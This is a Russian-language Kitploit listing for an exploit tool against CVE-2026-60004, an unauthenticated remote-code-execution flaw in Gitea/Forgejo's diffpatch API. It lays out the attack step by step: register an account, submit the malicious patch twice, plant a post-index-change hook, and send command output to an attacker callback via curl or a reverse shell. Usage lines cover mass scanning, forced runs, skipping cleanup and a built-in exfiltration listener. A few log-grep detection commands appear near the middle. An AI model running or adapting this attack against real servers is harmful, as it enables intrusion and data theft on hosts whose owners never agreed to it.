Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Голый клон → внедрение хука post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-60004
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхТестирование на ПроникновениеRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Голый клон → внедрение хука post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

Репозиторий
291 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-60004 — RCE в Gitea через Git-хук Diffpatch

Инъекция хука в bare-клон → post-index-change → Выполнение произвольных команд


Обзор

CVE-2026-60004 — критическая (CVSS 9.8) уязвимость удалённого выполнения кода без аутентификации в самохостинговых Git-платформах Gitea и Forgejo, затрагивающая версии с 1.17 по 1.27.0.

Уязвимость использует ошибку проектирования bare-клонирования в конечной точке API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea применяет предоставленные пользователем патчи внутри временного bare-клона, где корень репозитория — это сам $GIT_DIR. Отправляя один и тот же вредоносный патч дважды, злоумышленник вызывает конфликт add/add, из-за которого механизм трёхстороннего слияния Git (-3, Git 2.32+) записывает исполняемый хук post-index-change прямо в $GIT_DIR/hooks/. Git автоматически выполняет этот хук при обновлении индекса, что приводит к выполнению произвольных команд под учётной записью службы Gitea.

Требуется доступ на запись в репозиторий — его тривиально получить, поскольку по умолчанию Gitea использует открытую регистрацию без подтверждения email, одобрения администратора или ограничений на создание репозиториев.

Затронутые версии

ВерсияСтатус
< 1.17Не затронута (маршрут diffpatch ещё не введён)
1.17 — 1.27.0Уязвима
1.27.1+Исправлена

Обнаружил: Shai Rod (NightRang3r), 28 июля 2026 г. Проект: Gitea / Forgejo (самохостинговый Git-сервис) Компонент: конечная точка API diffpatch, временный bare-клон


Механизм уязвимости

Корневая причина

Уязвимость возникает из-за единственного параметра в файле services/repository/files/patch.go:

// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

В bare-клоне нет рабочего дерева — корень репозитория и есть $GIT_DIR. Поэтому вредоносный патч, путь файла которого — hooks/post-index-change, попадает прямо в настоящий каталог хуков Git, а не в изолированное рабочее дерево.

Усугубляет это вызов git apply:

// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Почему это работает

  1. Bare-клон не предоставляет песочницы — корень временного клона — это $GIT_DIR, поэтому путь hooks/post-index-change ведёт в настоящий каталог хуков.
  2. --cached не является надёжной защитой — резервный механизм трёхстороннего слияния -3 в Git 2.32+ записывает результаты слияния в рабочее дерево при конфликтах add/add, несмотря на флаг --cached.
  3. Двойная отправка вызывает конфликт — первое применение добавляет хук в индекс. Второе создаёт коллизию add/add, трёхстороннее слияние записывает файл на диск, и Git выполняет его.
  4. Git автоматически выполняет post-index-change — после обновления индекса Git безусловно запускает этот хук, если он существует и является исполняемым. Никакой настройки не требуется.
  5. Команды хука НЕ МОГУТ изменять индекс — git update-index внутри хука приводит к взаимоблокировке, поскольку git apply удерживает блокировку индекса. Для кражи вывода используйте HTTP-callback (curl) или reverse-shell.

Схема атаки

1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Проверенные ссылки на исходный код

ФайлСтрока(и)Назначение
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — создание bare-клона
services/repository/files/patch.go206-209git apply с флагами --index --cached -3
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — сохраняет состояние злоумышленника
services/repository/files/cherry_pick.go~170Тот же шаблон bare-клона в CherryPick (также исправлено)

Обнаружение по журналам сервера

# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Ключевой недостаток конструкции

Разница между bare- и обычным клоном — единственный булев параметр — определяет, станет ли путь из патча безвредной записью рабочего дерева или исполняемым хуком, попадающим прямо во внутренний каталог Git. Исправление меняет ровно один символ в диффе (true → false), поэтому коммит был помечен как "refactor: git patch apply" в разделе MISC, а не SECURITY. Операция, которая должна была быть изолирована в индексе (--cached), была молча сломана собственным механизмом трёхстороннего слияния Git, и никакая дополнительная защита не предотвращала создание файлов хуков в $GIT_DIR bare-клона.


Установка

git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Использование

# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Аргументы

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Подтверждение концепции

Одиночная цель

Скачать инструмент